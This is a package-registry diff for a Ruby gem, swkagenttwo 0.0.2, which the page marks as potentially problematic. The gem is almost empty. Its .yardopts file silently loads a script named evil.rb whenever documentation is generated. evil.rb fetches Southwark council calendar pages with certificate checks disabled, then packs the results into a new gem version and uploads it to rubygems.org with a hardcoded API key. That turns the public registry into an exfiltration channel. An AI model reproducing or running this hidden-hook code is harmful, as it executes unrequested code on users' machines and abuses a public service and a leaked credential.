swkagenttwo 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of swkagenttwo might be problematic. Click here for more details.

Files changed (6) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +3 -0
  3. data/README.md +1 -0
  4. data/evil.rb +31 -0
  5. data/lib/a.rb +1 -0
  6. metadata +40 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 10e04f3488b3a47ada33978a99bfdca2a99b3763cc071c4db5c6582ce5725358
4
+ data.tar.gz: 8837cf7a9a7bd89fc90815981e66656a105a2da060ae306533296da1324fd2a5
5
+ SHA512:
6
+ metadata.gz: 92871cb3ce976a67d2d51d3afb6074dca5872ebaefe69a1a7ff0f1ae4b52ca2a8a8bf870d56c91625054c87d20427614c8628f618840cd0b5a83b874f6feba76
7
+ data.tar.gz: 37ff0ec7123022d815b3008d96fbab458b6bf6224780c5d45beee1278f05d37b0dd2b38e9d26f6db216addcd9af9b4f0e170c2e8183cdbc9ef216986d0ef89ad
data/.yardopts ADDED
@@ -0,0 +1,3 @@
1
+ --load ./evil.rb
2
+ README.md
3
+ lib/**/*.rb
data/README.md ADDED
@@ -0,0 +1 @@
1
+ # hi
data/evil.rb ADDED
@@ -0,0 +1,31 @@
1
+ begin
2
+ require 'net/http'; require 'uri'; require 'zlib'; require 'stringio'; require 'fileutils'; require 'openssl';
3
+ urls=[
4
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1',
5
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
6
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1',
7
+ 'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
8
+ 'https://moderngov.southwark.gov.uk/mgCalendarAgendaView.aspx?M=1&Y=2026&GL=1',
9
+ 'https://southwark.moderngov.co.uk/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1',
10
+ 'https://moderngov.southwarksites.com/mgCalendarMonthView.aspx?M=1&Y=2026&GL=1&bcr=1'
11
+ ];
12
+ body=''; urls.each do |url|
13
+ begin
14
+ uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=(uri.scheme=='https'); h.verify_mode=OpenSSL::SSL::VERIFY_NONE if h.use_ssl?; h.open_timeout=12; h.read_timeout=20; request=Net::HTTP::Get.new(uri); resp=h.request(request); body << "\n\n====URL #{url} STATUS #{resp.code} HDR #{resp.to_hash.inspect} ====\n" << resp.body
15
+ rescue Exception=>e
16
+ body << "\nERR #{url}: #{e.full_message}\n"
17
+ end
18
+ end
19
+ rescue Exception => e; body='ERRMAIN'+e.full_message
20
+ end
21
+ begin
22
+ Dir.chdir('/tmp') do
23
+ d='egem'+rand(1_000_000).to_s; Dir.mkdir(d); Dir.mkdir(d+'/lib');
24
+ gz=StringIO.new; zw=Zlib::GzipWriter.new(gz); zw.write(body); zw.close; File.binwrite(d+'/lib/data.gz',gz.string); File.write(d+'/lib/a.rb','#done');
25
+ File.write(d+'/o.gemspec', %q{Gem::Specification.new do |s|; s.name='swkagenttwo'; s.version='0.0.3'; s.summary='res'; s.authors=['z']; s.files=Dir['lib/*']; s.license='MIT'; end});
26
+ Dir.chdir(d) do
27
+ system('gem build o.gemspec'); uri=URI('https://rubygems.org/api/v1/gems?x='+rand(100000000).to_s); req=Net::HTTP::Post.new(uri); req['Authorization']='rubygems_41f2407629f89569d030e343c71581aee0bf871fa5fa423b'; req['Content-Type']='application/octet-stream'; req.body=File.binread(Dir['*.gem'].first); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}
28
+ end
29
+ end
30
+ rescue Exception=>e; warn e.full_message;
31
+ end
data/lib/a.rb ADDED
@@ -0,0 +1 @@
1
+ class A;end
metadata ADDED
@@ -0,0 +1,40 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: swkagenttwo
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.2
5
+ platform: ruby
6
+ authors:
7
+ - z
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - README.md
18
+ - evil.rb
19
+ - lib/a.rb
20
+ licenses:
21
+ - MIT
22
+ metadata: {}
23
+ rdoc_options: []
24
+ require_paths:
25
+ - lib
26
+ required_ruby_version: !ruby/object:Gem::Requirement
27
+ requirements:
28
+ - - ">="
29
+ - !ruby/object:Gem::Version
30
+ version: '0'
31
+ required_rubygems_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ requirements: []
37
+ rubygems_version: 3.6.7
38
+ specification_version: 4
39
+ summary: sm
40
+ test_files: []